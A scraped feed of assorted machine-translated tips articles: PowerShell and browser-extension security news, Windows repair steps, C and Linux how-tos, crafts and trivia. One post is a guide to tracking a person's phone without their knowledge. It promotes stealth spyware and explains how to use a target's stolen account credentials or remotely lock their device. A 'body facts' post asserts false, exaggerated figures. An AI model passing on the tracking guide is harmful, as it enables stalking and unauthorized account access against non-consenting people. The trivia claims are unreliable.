PowerShell is running. The hacker can then connect to a PowerShell session and send commands to execute arbitrary code,\" Microsoft shared.\nThe second vulnerability, assigned code CVE-2021-41355, is a disclosure vulnerability in .NET Core. It makes it possible for users' credentials to be leaked as plain text on devices running non-Windows platforms.\nHow to check if you are affected The vulnerability CVE-2020-0951 affects both PowerShell 7 and PowerShell 7.1, while CVE-2021-41355 affects only PowerShell 7.1.\nTo check which version of PowerShell you are using you can execute the command pwsh -v from Command Prompt.\nMicrosoft shared that there are currently no mitigations that can prevent the exploitation of these vulnerabilities. Therefore, the software giant urges Admins to soon update PowerShell 7.0.8 and 7.1.5 for PowerShell 7 and PowerShell 7.1 respectively to protect the system from potential attacks.\nupdate powershell ncG1vNJzZmismaXArq3KnmWcp51kuqqv0aiqqJ6kYsKzs8SsZJqcnZ67bsDOZqearJOderG71p6prKCVobluwtSlpZ6qkZe2rbXTsmSopl2stq%2BwzrCq\n","link":"/post/microsoft-urges-admin-to-patch-powershell-vulnerability-on-windows/","section":"post","tags":null,"title":"Microsoft urges Admin to patch PowerShell vulnerability on Windows"},{"body":"Amidst the countless brands and categories, how difficult is it to make a choice to buy a hot and cold water filter?\nTo help you solve this problem, Quantrimang will suggest some samples of hot and cold water dispensers that are highly appreciated by users today. Let's follow it!\ncontent What is special about hot and cold water filters? When to buy and use water dispenser, what should be noted? What is the best hot and cold water purifier today? The RO water purifier integrates Sunhouse SHR76210CK 10-core cold water heater Chungho Tiny Ice UV water dispenser, CHP-5321D Water dispenser Karofi HCV351-WH    What is special about hot and cold water filters? Hot and cold water filter is an extremely convenient device. It integrates the features of hot and cold water plants together with water purifiers to form a 3 in 1 product, which helps to purify water, provide hot water and cold water.\nUsing a hot and cold water filter gives you benefits such as:\nThe product gives users the convenience. With only 1 machine equipped, users can get pure water, hot water, cold water to serve all daily needs. The device is equipped with advanced technology, using replacement chips for electronic chips to bring the ability to cool and heat water extremely deep and fast. Using the machine, it also helps users to save the maximum cost because they do not have to replace the water bottle regularly. Besides, users can also be active in water sources. The advanced water filter function of the machine will bring pure clean water to ensure maximum removal of impurities, dirt, heavy metals, bacteria, viruses . Using this 3-in-1 device also saves power much more effectively than using 2 separate devices.   When to buy and use water dispenser, what should be noted? When buying a device, you need to keep in mind:\nChoose a machine with water purification technology that best suits the water source where you live. Select the appropriate filter capacity, river cooling / hot capacity to meet the water demand for all members Select the type of machine from a reputable brand Should choose the model is carefully invested in safety features, especially if your family has young children or the elderly, this factor must be paid more attention When using the device, note:\nPut the machine away from 10-15cm wall Choose a location in a cool, dry place, not near a high heat source Do not plug the power outlet with other electrical devices Replace the filter cartridge periodically to ensure the quality of the output water Absolutely do not use alum-contaminated water, drilled wells . for the filter core with the highest durability When you first buy or when you move the machine to another location, it is necessary to leave the machine for 1-2 hours before plugging in the power to help the gas more stable to avoid fire and explosion. What is the best hot and cold water purifier today? In terms of brands, names such as:\nChungho hot water dispenser of Korea Korihome Korean water dispenser New life hot and cold water filter of Korea Sunhouse Vietnam's hot and cold water purifier . These are famous and well-known brands in the market. Therefore, when owning their products, you will be able to feel secure about the quality as well as the warranty policy .\nSo which heater is the best? Below will be suggestions for some of the most user-selected models:\nThe RO water purifier integrates Sunhouse SHR76210CK 10-core cold water heater Sunhouse SHR76210CK owns the design as a normal water purifier but they are integrated with the function of making hot / cold water extremely convenient.\nThe machine uses 10 filter cores with modern RO technology to help provide pure water, no dirt, moss, toxic impurities . creating safety for users' health.\nSunhouse SHR76210CK can provide cold water at a temperature of 5-10 degrees C, hot water from 85-90 degrees C can meet many different purposes of users. In particular, the filter cartridge can be used for 3 to 24 months to help users save cost effectively.\nCurrently, the machine is sold for VND 6,590,000 (this price applies until July 30 , 2019 ).\n  Chungho Tiny Ice UV water dispenser, CHP-5321D Chungho CHP-5321D hot and cold water filter is quite versatile, bringing many unexpected benefits for users. Besides the ability to filter water, provide hot / cold water, the machine is also integrated with ice cubes.\nThe inlet water will pass through the RO filter system with 5 steps to thoroughly eliminate harmful bacteria, viruses, and harmful substances from the users' health.\nThe technology of making ice cubes is exclusive, making it possible to create unique and impressive tulip-shaped stones.\nCurrently, the machine is being sold at the price of VND 21,990,000 , 12-month warranty.\n  Water dispenser Karofi HCV351-WH As a product of Vietnam, however, thanks to the application of the most modern technology today, the hot water dispenser Karofi HCV351-WH has not proved to be inferior to any foreign machine.\nKarofi HCV351-WH is equipped with RO water filtration technology combined with cooling block to provide optimal efficiency in creating water sources with ideal temperature, safe for users' health.\nWith a capacity of 2 liters of hot water, 3.2 liters of cold water can meet the diverse needs of many people. Currently the machine is being sold for VND 7,390,000 , 36 months warranty for the block and 18 months for the electricity.\n  From the above sharing, I hope you can choose the hot and cold water filter that best suits the needs of use as well as economic conditions of your family, office . If you need to use Product, please contact us for further advice:\nIn Hanoi: 024.3568.6969 or in HCMC: 028.3833.3366\n\u0026gt;\u0026gt;\u0026gt; Related articles:\nStructure and principles of hot and cold water dispenser Hot and cold water dispenser and hot water dispenser, which one should be used? ncG1vNJzZmismaXArq3KnmWcp51kwKm71KWbZpqlrnqieceoq2aZnpl6pLvLnWSwmaSav26yyKWrnqo%3D\n","link":"/post/should-buy-a-hot-and-cold-water-filter/","section":"post","tags":null,"title":"Should buy a hot and cold water filter"},{"body":"Function size_t strspn (const char * str1, const char * str2) calculates the length of the first character segment of the str1 string containing the characters in str2\nDeclaring the function strspn () in C Here is the declaration for strspn () in C:\nsize_t strspn ( const char * str1 , const char * str2 )  Parameters str1 - Chain to be scanned.\nstr2 - String containing characters to match in str1.\nReturns the value This function returns the number of characters in the string segment of the original str1 string, but only the characters in str2.\nFor example The following C program illustrates the usage of strspn () in C:\n#include #include int main () { int len ; const char str1 [] = \"ABCDEFG019874\" ; const char str2 [] = \"ABCD\" ; len = strspn ( str1 , str2 ); printf ( \"Do dai cua chuoi ket noi dau tien la = %dn\" , len ); return ( 0 ); }  Compiling and running the above C program will result:\n  According to Tutorialspoint\nPrevious article: The function strrchr () in C\nNext lesson: Strstr () function in C\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKyrq6ugo3qnwc2cq6KnnmK2r3nC\n","link":"/post/the-strspn-function-in-c/","section":"post","tags":null,"title":"The strspn () function in C"},{"body":"To fix the problem with slow connections leading to poor Internet access, you first need to check the Internet speed on the system. For example, when you switch to a new Internet connection and want to make sure you are getting what you deserve, it can be helpful to check the internet speed.\nIn this article, tipsmake.com will use a Linux command line tool named speedtest-cli. It is written in Python and uses speedtest.net to check bandwidth, by uploading and downloading data to and from your system.\nNote : The commands and procedures mentioned in this article are implemented on Debian 10 Buster systems.\nInstall the speedtest-cli utility First, open the Debian Terminal through the Search Launcher application as follows:\nOpen the Debian Terminal Then enter the following command as sudo to install python. This allows you to install packages through pip.\n$ sudo apt-get install python-pip The system may ask for your sudo password because only authorized users can add, delete and configure software on Debian.\nOnce python pip is successfully installed, use the following command to install the speedtest-cli tool through it:\n$ sudo pip install speedtest-cli The necessary tools will then be installed into the system.\nCheck the Internet speed via speedtest-cli Now, you can enter the following command in Terminal to check Internet speed:\n$ speedtest-cli The result will show the Download and Upload speed of the current Internet connection The result will show the Download and Upload speed of the current Internet connection.\nShare Internet speed Speedtest-cli also allows you to share your Internet speed by providing a link on the speedtest.net website via the following command:\n$ speedtest-cli --share This command creates a link that you can share and open through the browser to get an image like this:\nSpeedtest-cli also allows you to share Internet speed Now you know how to install and use the speedtest-cli tool. You can check and share your internet connection speed quickly without the need for a graphical interface!\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwrSxjKynnp2UqbK0wIyco6JlpKR6pLTEnKJmoZ6psrO6xK1krKiVmrFuu81mm56amZa7bn2P\n","link":"/post/use-speedtest-cli-to-check-internet-speed-on-debian-10/","section":"post","tags":null,"title":"Use Speedtest CLI to check Internet speed on Debian 10"},{"body":"Whenever out looking for food or going home, ants have a habit of moving in a row. Why do they do that? Let's find out through the article below.\nAnts are creatures that organize herds. Due to the large number of ants, the move or coordination needs to be organized. Moving in long lines is also a manifestation of fellow cognitive behavior and leads the way through taste.\n  Specifically, when an ant finds food, it will bring a small part to the nest. On the way, that ant will secrete a chemical called pheromone. The pheromone smell of each colony, the ant species are different to distinguish them from other colonies.\nFollowing this pheromone trail, the other ants in the herd can find food. Because the pheromone is volatile, the ant that travels ahead will secrete this chemical so that the ants behind it can determine the location of food and the way back to the nest. This makes ants tending to line up.\nThe movement in rows also helps ants easily touch their heads, body contact to identify members of the herd through checking pheromone smells of the same species. If any ants of another herd are found, they will immediately scare off strangers.\nncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mZpmeqcBuu8WtnKdlnaTDpnnIp2SaZaKkxA%3D%3D\n","link":"/post/why-do-ants-often-move-in-a-row/","section":"post","tags":null,"title":"Why do ants often move in a row?"},{"body":" The human body is really a giant apparatus, the deeper we learn, the more surprised we are about it. Join us in discovering 15 facts that show that our bodies possess divine 'esper powers' in the following article!\n11 misconceptions about the most common human body that billions still believe 15 extremely interesting facts about the human body you may not know 15 interesting facts about DRAGON phenomenon you may not know The human body is really a giant apparatus, the deeper we learn, the more surprised we are about it. Every day scientists reveal to us new discoveries about the human body and one of them makes us feel very surprised.\nTherefore, we have been collecting data that shows something really special in the human body.Join us in discovering 15 facts that show that our bodies possess divine ' esper powers ' in the following article!\n © depositphotos.com © depositphotos.com\nThe stomach acid is enough to \"break down\" a razor blade . Because our stomachs contain gastric juice - a solution of HCL acid and some other enzymes. However, you absolutely do not need to try to swallow the razor into your abdomen to prove this truth because it is too dangerous. We can live without stomach, 75% of the liver, 1 kidney, 80% of the intestine, spleen, 1 side of the lungs and any organs in the groin area. It is not the happiest life but can sustain life. Skin has a mechanism to flush out dead skin cells . Every 2-4 weeks, the skin regenerates itself with new skin cells. Within 1 year, we removed about 0.7kg of dead skin according to the natural mechanism. The bones of a normal person can withstand the weight of about 16,000 people standing on the body. The \"strongest\" muscle in the body is the bite muscle - the chewing function . If the definition of muscle has the most power means that it is capable of the most pressure, then it is the jaw muscle. The jaw muscles are located near the back of the jaw bone used to open and close the mouth when you chew. Although chewing jaw is not always working, it can normally exert a force of up to 90kg on your molars when biting and chewing.  © pixabay.com\nLosing the little finger, we lose 50% of the hand . As the smallest finger in the hand, few people doubt that if you lose your pinky finger, your hand has lost 50% of its strength. According to therapist Laurie Rogers, each finger has different functions and tasks. If your thumb helps you to hold it, the little finger helps to combine with the ring finger to keep things steady. The small intestine in the human body is equal to 4 normal people combined . This is really amazing, because how it can fit in our stomachs! Our bodies contain 60,000 miles ( about 96,560 km ) of blood vessels. The total area of ​​human lungs is as big as a tennis court .We know the lung structure contains air-filtering cells, each lung cell acts as a micro-plant and takes on important functions, helping the body to maintain life.If you spread all these cells on a flat surface, you will get the area of ​​a tennis court. The hair is extremely strong, able to hold \"2 elephants\" . It looks so fragile, the hair is extremely strong. Each strand of hair can lift 100g heavy and when combined with the hair on the head can lift 12 tons, ie 2 healthy elephants.  © pixabay.com\nThe human eye is capable of changing colors from green to brown. In Western countries, babies are born with green eyes and it takes some time for the eyes to turn brown, black or other colors. The cause of the main eye color is melanin. At birth, children have less possession of melanin, their eyes will gradually darken and change color during the body's development. In addition, eye pigmentation also depends on body size, changes according to certain conditions such as emotions or light. People can live longer when fasting compared to lack of sleep . We can live for about 3 weeks without food, but if we lack sleep for 11 days, our bodies will stop working. A normal healthy person can produce 4 gallons ( 15 liters ) of sweat in a day. The body temperature produced in 30 minutes is enough to boil 2 liters of water. Throughout life, each person will produce enough saliva to fill 2 pools. See also: Science is still finding the mystery behind \"trypophobia\"\nHaving fun!\n Samuel Daniel Update 24 May 2019\nncG1vNJzZmismaXArq3KnmWcp51kfnZ5xZqaratdqLWww4ytn5qsXaTCs3nBqJuinaNivbC%2F0p6qrGWUnsOqusRmnKyolad6sbvWnqms\n","link":"/post/15-facts-show-that-our-bodies-possess-divine-esper-powers/","section":"post","tags":null,"title":"15 facts show that our bodies possess divine 'esper powers'"},{"body":" Turn your eyebrows into Christmas trees this Christmas, have you tried them? 24 Christmas decorations for 'lazy' people 22 creative ideas of Christmas tree are very unique Many people find that the older they get, the harder it is to feel the magic of fairy tales heard on Christmas Eve .\nHowever, we are sure that if you manually decorate your house with Christmas or simply decorate a Christmas tree, the spirit of Christmas will come to you in the right way. Most of the ideas for making Christmas decorations here are not time consuming or preparation materials. You only need to spend 30 minutes using the ingredients available at home.\nThe house will be more sparkling with Santa Claus drawing on spoons, snowmen with socks, stars made of wool or laurel wreaths. Invite you to consult 20 ideas for making Christmas decorations from spoons, old socks or excess wool in this article!\n20. The star is made of wool  © AdMe / 5-minute Crafts\nYou can decorate Christmas trees, windows or walls in this Christmas season with stars, snowflakes made of wool. With just a few simple steps and tools, you have made your own unique crafts to add to your new year home.\nMaterials needed : wool knitting in all sizes and colors, glue, hangers, some small pins and scissors.\n19. Laurel wreath with a hanger     © AdMe.ru / 5-Minutes Crafts\nIt only takes about half an hour to make your own Christmas laurels from old clothes. All you need is an old, cheap set of jewelry. If not, take advantage of a sturdy metal wire.\nMaterials needed : a set of jewelry ( 20-25 colorful balls and sizes ), sturdy clothes hangers or metal wires, some dried pine nuts, ribbon strings to tie bows or anything can be decorated.\n18. Paper snowflakes  © youaremyfave\nMany people have probably made paper snowflakes as a child and you can create a tablecloth with those beautiful paper snowflakes. Your whole family can work together to cut paper snowflakes or cut and paste them together. This is a great idea if you want to welcome guests at home or plan a family dinner.\n17. Woolen and colorful cotton hat  © easypeasyandfun\n © AdMe.ru / 5-Minute Crafts\nThe colorful cotton wool hat hanging on the Christmas tree is a good suggestion for you. Take advantage of excess wool pieces and entice your children to work with you. Children over 5 years of age can fully decorate this simple style. You can decorate Christmas trees, on walls, windows or chandeliers.\nMaterials needed : Scissors, colorful wool, toilet paper core ( or cardboard ) and excited spirit.\n16. Lights \"Snowy city - Snow city\"  © Casa e Jardim\nTo make this charming lamp, you need to measure a piece of paper rolled around the jar ( a little extra to make it stick ). Then, draw and cut a city or forest. Roll the paper around the jar and place a candle inside.\nMaterials needed : a glass jar, thick colored paper ( can be used in white ) and a candle. In addition, you can also use a vase sold in stores.\n15. Decorate with photos  © evermine © decozilla\nThis is a great decorating idea for Christmas tree or a meaningful gift for your friends and relatives . You can use a rectangular black and white image or cut it into a circle like the image of a cat in a snow globe above. Decorating with old photos not only recalls memories but also a way to bring people in the family closer together.\nMaterials needed : plastic or glass ornaments, photos and decorations ( purl, lights, salt that look like snow ).\n19 ideas to decorate warm and creative lights at home at Christmas 14. Christmas lights  © livediyideas\nThis miracle only takes you 5 minutes. All you need to do is collect dried ornaments, twigs, and pine nuts and place them in a transparent vase ( or a cute vase ). In addition, you can also add light to make it more gorgeous.\n13. Pink fire heater  © smartschoolhouse\n © thepolohouse\nThe glowing light hidden between the pine pine fruit and the tree branch impressing like a fire burning in a fireplace. They may even emit a bit of warmth! You just need to prepare a cute basket or bucket, and all the rest ( of course, except for lights ) can be found in the park.\n12. Floating candles  © diyandmag\n © randomtalks\nThis is a simple decoration for a dining table or living room table during the Christmas season. Inside the vase, bowl or bottle of water, you can give the flowers, small red fruits and add a floating candle.\n11. Decorate a snowman figure  © brittanyestes © princesspinkygirl\nSurely your kids will love this.Decorate a snowman figure on the door or refrigerator door . This decoration is simple, cute and easy to implement. You can instruct your child to cut circles, triangles or rectangles and arrange them as desired. Use gift wrap, different tones and tape to attach them to the door.\n10. Snowflakes on windows     Fake snowflakes are easily made from glue. You just need to find a picture of a snowflake, then use a glue gun to paint along the lines and wait for it to dry.\nMaterials needed: a sample of snowflakes, glue gun and a little patience.\n9. Candy Christmas tree  © itallstartedwithpaint\nCandy Christmas tree will be a favorite gift of small children. Cut the triangles from colored paper or cardboard, then use a toothpick to make a trunk and attach it to candy.\nMaterials needed : Hershey's Kisses chocolate or any kind of candy, toothpicks, ribbons, colored paper or cardboard with patterns.\n8. The sparkling light wire has a family photo hanging  © light4fun\nYour bedroom or living room corner will be brighter with sparkling lights that hang your family photos.It's easy to attach them using a clothes clip that can be decorated with hearts and snowflakes.\n7. Origami star  © liagriffith © designrulz\nCute origami stars can decorate Christmas trees, tables or use as Christmas lights. You can find detailed instructions here.\n6. Decorate spoon to eat    © etsy © s-media-cache-ak\nWooden or metal spoons easily turn into Christmas decorations with just a little creativity.The only thing you need to prepare is acrylic paint.Children will love this creative idea!If you want to hide the handle of a metal spoon, you can hang them on the Christmas tree.Wooden spoon can decorate in the kitchen.\n5. Make snowmen with socks  © darkroomanddearly\n   © darkroomanddearly\nSnowmen made from old white socks will only take a few minutes to perform. Cut off the neck, then put the rice inside to shape the lower abdomen and then tie it up. Continue to add rice to create the first part. Using needles to stitch the nose and eyes from small beads. Complete snowman with scarf, hat and button.\nMaterials needed : rice, white socks, buttons and some other fabrics.\n4. Sparkling snowflakes  © 1dogwoof\nYou can hang these beautiful snowflakes, decorate Christmas trees and windows.\nMaterials needed : white paper, sharp scissors and a stapler.\n3. Decorations made from old light bulbs  © David M. Zuber © etsy © dollartree © imadeafunny\nStop using used bulbs immediately! They create wonderful decorations and children will love this idea. You will have Santa Claus, snowmen and penguins on the Christmas tree. You don't have to use fleece to make hats like in the picture in the upper right corner. You can use the leftover cloth to create beautiful hats.\nMaterials needed : old bulbs, acrylic paints ( old nail polish can be used ), regular glue and color glue ( for toys on the left ) are sold in stores. You will also need daisies, purses, ribbons, beads and other small decorative items.\n2. Bring the Christmas tree!  © itallstartedwithpaint\nThese are items commonly used for decoration in cabinets, windows or desks. You can make your own snow by tearing the paper into small pieces.\nMaterials needed : a toy car, white paper, Christmas tree toys, a nice vase with red and white ribbons.\n1. Anniversary balloons, wishes and other things  © thriftycraftygirl\nA set of Christmas jewelry can be turned into wonderful and meaningful decorative items. For example, you can make toys that bring the best memories of the past year - an infant or a great trip. Over time, it will be a family tradition and you will have good memories after watching these decorations.\nDo you have an idea for your upcoming Christmas decorations? Don't forget to share them with everyone around you!\nRefer to some other articles:\n16 unique DIY Christmas card ideas 15 ways to make extremely cute and super impressive Christmas decorations 20 unique home decorating ideas for Christmas Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kf3F5yJ2cmqtdm7yzecyaoqKml2Kwqb7IrKummaNisaavzquYraGfo8BustGopGaroKS8r7%2BMqKOdZaOksKy%2FjKipZp2omLK0v4ywpqik\n","link":"/post/20-ideas-for-making-christmas-decorations-from-spoons-old-socks-or-excess-wool/","section":"post","tags":null,"title":"20 ideas for making Christmas decorations from spoons, old socks or excess wool"},{"body":"Recently, security firm Avast recently reported that more than 3 million users have installed 28 dangerous extensions. Of these, there are 15 extensions for Google Chrome and 13 extensions for Microsoft Edge.\nAccording to Avast, these 28 extensions contain code that executes some harmful behaviors such as:\nRedirect users to the ad Redirect users to a phishing website Collect user data such as date of birth, email address, and device information Browser crawl Downloading malicious code to the user's computer The main purpose of these extensions, according to Avast. is monetization by redirecting user traffic to other sites. These pages are mainly advertising and phishing sites. They will pay extension developers based on the traffic generated by the extension.\nAvast discovered these extensions last month, but there is some evidence that they exist since December 2018. At that time, some users realized that they were sometimes redirected to unfamiliar sites.\n  Jan Rubín, an expert on malware at Avast, said that it is not possible to determine whether these extensions contained malicious code in the first place or was recently added via the updated channel. Many of these extensions have attracted a lot of downloads.\nAvast has reported the issue to both Microsoft and Google and the two companies are working on investigations and verification. Currently both Microsoft and Google have not commented yet.\nHere is a list of malicious extensions on Google Chrome:\nDirect Message for Instagram DM for Instagram Invisible mode for Instagram Direct Message Downloader for Instagram App Phone for Instagram Stories for Instagram Universal Video Downloader Video Downloader for FaceBook ™ Vimeo ™ Video Downloader Zoomer for Instagram and FaceBook VK UnBlock. Works fast. Odnoklassniki UnBlock. Works quickly. Upload photo to Instagram ™ Spotify Music Downloader The New York Times News And on Microsoft Edge:\nDirect Message for Instagram ™ Instagram Download Video \u0026amp; Image App Phone for Instagram Universal Video Downloader Video Downloader for FaceBook ™ Vimeo ™ Video Downloader Volume Controller Stories for Instagram Upload photo to Instagram ™ Pretty Kitty, The Cat Pet Video Downloader for YouTube SoundCloud Music Downloader Instagram App with Direct Message DM Avast recommends that users remove these extensions early to ensure their safety.\nncG1vNJzZmismaXArq3KnmWcp51kf3l5w5qloJ2ipMK0ecSxq56mo568r7%2BMsqauZaOdvLa4w2agpqWVmbaiwMSlsGaqlaK8t7GMn6mopV2YtbO7zJ5kmqaUYrqqr9GoqqiepGKypbPE\n","link":"/post/28-dangerous-extensions-you-should-immediately-remove-from-chrome-and-microsoft-edge/","section":"post","tags":null,"title":"28 dangerous extensions you should immediately remove from Chrome and Microsoft Edge"},{"body":"How to Track a Phone Location Without Them Knowing The GPS location technology has made it easier to track phone, find your way to certain locations, book restaurants, and many more.\u0026nbsp;\nHowever, a fundamental feature of the GPS that is underexplored is tracking a cell phone location without letting your target have a wind of it.You can also make\nuse of the best tracker app without permission to track someone without them knowing.\n  In this article, we will introduce the different ways to ensure the safety of your loved ones and monitor your employees using official tracking tools and the best phone tracker app without permission.\u0026nbsp;\nLet's get right into it!\nBest Phone Tracker App Without Permission Apart from making use of your device GPS to track someone's phone without them knowing, there are also some perfect phone tracker apps you can use to find someone's location.\nAlthough there are quite a number of apps available online, mSpy is widely recommended as the best phone tracker app without permission for anyone who wants to track someone's phone without them knowing.\nmSpy mSpy app helps you monitor your target device quickly and effectively. You can view messages, pictures, listen to calls and view call logs, view web history, and track your target's location with the mSpy Phone location tracker.\u0026nbsp;\n  The mSpy phone location helps you locate your target, check their route history and view their location details.\u0026nbsp;\nmSpy is highly compatible as it allows you to track both Android and IOS devices with equal efficiency. Another major highlight of the mSpy app is its stealth mode operation used in monitoring all devices effectively.\u0026nbsp;\nHow the mSpy phone location tracker works\u0026nbsp;\nChoose the subscription package that suits your budget, fill the billing form and submit \u0026nbsp;  Then, a welcome email will be set, which would direct you to the mSpy control panel. Install the software and set up\u0026nbsp; Log into your mSpy Control Panel and start tracking your target's GPS location. \u0026nbsp;  The Alternative Spy App Is Flexiby\u0026nbsp; Flexiby is an alternative app to track phone without them knowing; however, it has some limiting features. Among these limiting features is the fact that it requires you to let your target know you would be installing the Flexiby app on your phone, although your target won't know when the app is running.\u0026nbsp;\nMore so, the Flexiby app is quite on the expensive side when you compare costs, but it does the job of a regular spy app well. It enables you to spy on your target's calls, messages, videos, and pictures and track your target's location.\nA unique feature of the Flexiby spy app is that it gives you complete charge of your target's device. That means you can take a picture on your target's account and transfer it to your account without them knowing, reboot the target's phone and view their battery status.\nHow to use the Flexiby spy app location Follow these steps to learn how to track a cell phone location without them knowing using the Flexiby spy app.\nCreate an account Connect target device Start monitoring your target Alternative Spy App Is Hoverwatch\u0026nbsp; Hoverwatch is a phone tracker app without permission that lets you track your suspect silently without them knowing by delivering the reports of their activities to your phone.\u0026nbsp;\nHowever, it is quite limiting compared to mSpy as it requires direct contact with your target's device to install the software.\nHow to use the Hoverwatch phone location tracker Step 1\u0026nbsp;: Register for your free account by inputting your email and password\nStep 2\u0026nbsp;: Download and install the Hoverwatch app\u0026nbsp;\nStep 3\u0026nbsp;: Start tracking your target's device.\nHow to Track Phone Without Them Knowing Using Official Tools\u0026nbsp; Your android and iPhone devices are equipped with functional tracking tools that let you track a cell phone location without them knowing. Below, we discuss the two official tracking tools and how to go about using them.\u0026nbsp;\nUsing Find My iPhone for iOS users Find My iPhone has been equipped with your device not only to find where your phone is but also to find out where others are. Below is how to go about it.\n  Step 1\u0026nbsp;: Open Find My iPhone on a different device. You can do this by opening the app on a device or visiting iCloud in a web browser.\nStep 2 : Log in with your Apple ID and make use of the Apple ID and password which you use to log into your iPhone.\nStep 3 : Tap your iPhone, and you will see a list of devices under the map. When you do this, your phone will pop on the map. Note that if the target phone is off, it would still provide its latest location.\u0026nbsp;\nStep 4 :\u0026nbsp;Click 'play sound' at the bottom and left side corner of your screen. By doing this, a sound would play if the device is close to where you are.\nStep 5 : Tap 'lost mode' at the bottom and center of your screen. Then follow the steps below.\nInput an unlock code for your device. You can use a random figure that is not associated with you.\u0026nbsp; Send a text, and the phone number will pop on your screen. If your target is online, it will lock instantly, and it won't be able to reset without the lock code you inputted earlier, and you will be able to view your target's location. If the target's phone is offline, it will lock immediately it comes on, and you will receive an email that will reveal your target's location. You can back up your iPhone, iTunes, or iCloud in case you need to recover a deleted data in the future.\u0026nbsp; \u0026nbsp;How to Use Find My Device for Android Users Find My Device is your answer if you are wondering how to track a phone without them knowing for android. The steps on how to do it are listed below.\u0026nbsp;\n  Step 1 : Go to Find My Device and input\u0026nbsp;https://www.google.com/android/find.\u0026nbsp;\nStep 2 : Sign in to the website and follow the prompt by putting in your target's email address and password.\nStep 3 : Choose the phone's name at the left corner of the page, and Find My Device will begin to start to locate your device.\nStep 4 : Your target's location would be displayed after Find My Device locates it. However, if your target device is off, the location won't show on your screen.\nIn this article, we discussed in detail how to track a phone without them knowing and through the best phone tracker app without permission.\u0026nbsp;\nAlso, we provided alternative apps you can use to track someone's phone without them knowing and steps to help you get started on each tracking option you make.\nBy following the steps and guidelines in this article, you are guaranteed to track your target's location easily and successfully.\nncG1vNJzZmismaXArq3KnmWcp51ks6q6w2amrqxdnby4edOoZK2qkZi4bq2MqZ%2BoppVixKrAx6isrWWknbKuecqnprChnpx6tr%2FIp55mp5abtqS1wKVkraqRmLiqusZmq6innKg%3D\n","link":"/post/find-out-how-to-track-a-phone-without-them-knowing-using-official-tracking-tools/","section":"post","tags":null,"title":"Find out how to track a phone without them knowing using official tracking tools"},{"body":"Has your computer ever been in a continuous reboot that can't load the operating system? In previous Windows versions, this may require users to completely reinstall or at least perform some complicated operations. Fortunately, Windows 7 has been designed to solve this problem in a way that takes relatively little time.\nThis startup error occurs because of a problem in the Windows 7 system registry. Unfortunately, if you fail to boot into Windows, the registry cannot be repaired and you cannot access the operating system.\nTo fix this, the tools provided in Windows 7 System Recovery Options can help.\n  1. Access the System Recovery Options screen: First of all, we will need to boot the computer into the System Recovery Options screen. Do this with the installation DVD inserted into the optical drive. When the computer boots, press any key to boot from the CD or DVD drive as required, select the language option and then click Repair your computer . A list of installed operating systems is displayed. Select Windows 7 and click Next .\n  The System Recovery Options screen will appear. Choose the first option, Use recovery tools, and then select Startup Repair (if the computer has a built-in recovery partition, the steps are a bit different. In this case, boot Go to the Advanced Boot Options screen, select Repair your computer and click Enter , then select the keyboard language type and enter the username and password before choosing Startup Repair in the System Recovery Options screen.\nAfter selecting Startup Repair , Windows will perform automatic repair.\n2. Prepare Windows 7 Recovery: If the Startup Repair option fails, you will receive a message that Windows cannot repair this computer automatically. At the end of the notification line, click View advanced options for system recovery and support to return to System Recovery Options and click Command Prompt .\nThe black command line interface will open the X: drive by default. This is Windows internal RAM used for System Repair. Go to the system drive which is usually the C: drive by default.\nTo open drive C, type C: and press Enter . Type DIR to check that we are in the correct drive. Content in the drive will be listed, including Program Files, Users and Windows folders.\n  Change the directory path by, enter the CD windowssystem32config and then enter DIR to check the listed files and folders:\nRegBack DEFAULT SECURITY SYSTEM Enter MD mybackup to create a backup folder. Enter copy *. * Mybackup to copy everything from this address, agreeing to the overwrite warnings that appear.\n  The RegBack folder stores Windows registry backup files automatically. To check if they can be used to restore the system, enter CD RegBack and DIR to view the content. We will see the following files:\nDEFAULT, SAM and SECURITY files, each file is about 262,000 bytes. SOFTWARE file, about 26,000,000 bytes. File SYSTEM, about 9.900 million bytes. Note that if any of these files display 0 bytes, we will have to use another Windows 7 recovery method.\n3. Run Windows 7 Recovery: With the RegBack folder containing the data needed to restore Windows 7, exit the boot loop, we will be able to copy the content and use them to help the operating system run again.\n  Use the copy *. * Command to paste the above files into the Config folder. Agree to the override warnings, then enter exit to close the command window.\n  On the System Recovery Options screen, click Restart to restart the PC. Windows 7 will now boot correctly!\n4. Conclusion: The boot loop is a persistent error on Windows. Although previous versions provided a number of ways to deal with recovery options, these solutions are not really easy to use.\nWith Windows 7, at least the success rate when dealing with infinite loops is much higher. Also note that the steps above do not guarantee success. Users should be prepared to reinstall Windows in case it cannot fix this loop error.\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjKucqZ2RqbKlecGopq1llae%2FsL7SZqanZaeeu6W71qxkcA%3D%3D\n","link":"/post/fix-repeated-boot-errors-on-windows-7/","section":"post","tags":null,"title":"Fix repeated boot errors on Windows 7"},{"body":"Putting your computer into sleep mode is probably the choice for many of you when you want to take a break from work to get out and breathe some fresh air.\nOr for Laptop, when you fold the screen, by default the computer will be put into sleep state. When you want to use it again, you just need to open the Laptop and type in a periodic key to \"wake up\" the computer. And now, you can continue but the work was unfinished just now.\nIf you have not really figured out what Sleep mode is, I recommend you to read through this article:\nGreat, but a lot of you say that their computer has had a very nasty sleep mode that is, all their applications are closed when Windows is on. they go into Sleep mode.\nIt's like you've just restarted your computer, all unfinished programs are turned off.\nThis means that you may lose all documents that you are in progress, documents you have not saved.\nTherefore, in this article I will share some ways to fix Windows 10 error when closing all apps while Sleep!\nI. How to fix Windows 10 automatically close all applications when sleep // This tutorial I guide directly on Windows 10, but you can apply to Windows 7, 8, and 8.1 too.\nYou will often see this error after installing new updates, there is a change to your Windows 10 system, or due to a power installation error or a conflict of 3rd party software.\nNow try the following ways to fix the above error in turn:\n1. Use the Power Troubleshooter tool Every time you encounter any error on the system, the first tool that we should use is the Troubleshooter\u0026nbsp; tool\u0026nbsp; available on Windows.\nAnd in this case too, the Power Troubleshooter will automatically fix common Power Plans related errors, it will revert the settings in the Power Plan back to the original default settings.\nThis error correction tool helps you check your settings, for example the time the screen turns off automatically, automatically Sleep, ., using this tool also helps to adjust and increase the usage time for the PIN. Laptop too. Which perhaps say more accurately is\u0026nbsp; to save the Laptop Battery \u0026nbsp;.\nPerform:\nFirst you open\u0026nbsp; \u0026nbsp;up Windows Search (using the combination\u0026nbsp; Windows + S) =\u0026gt; then enter the 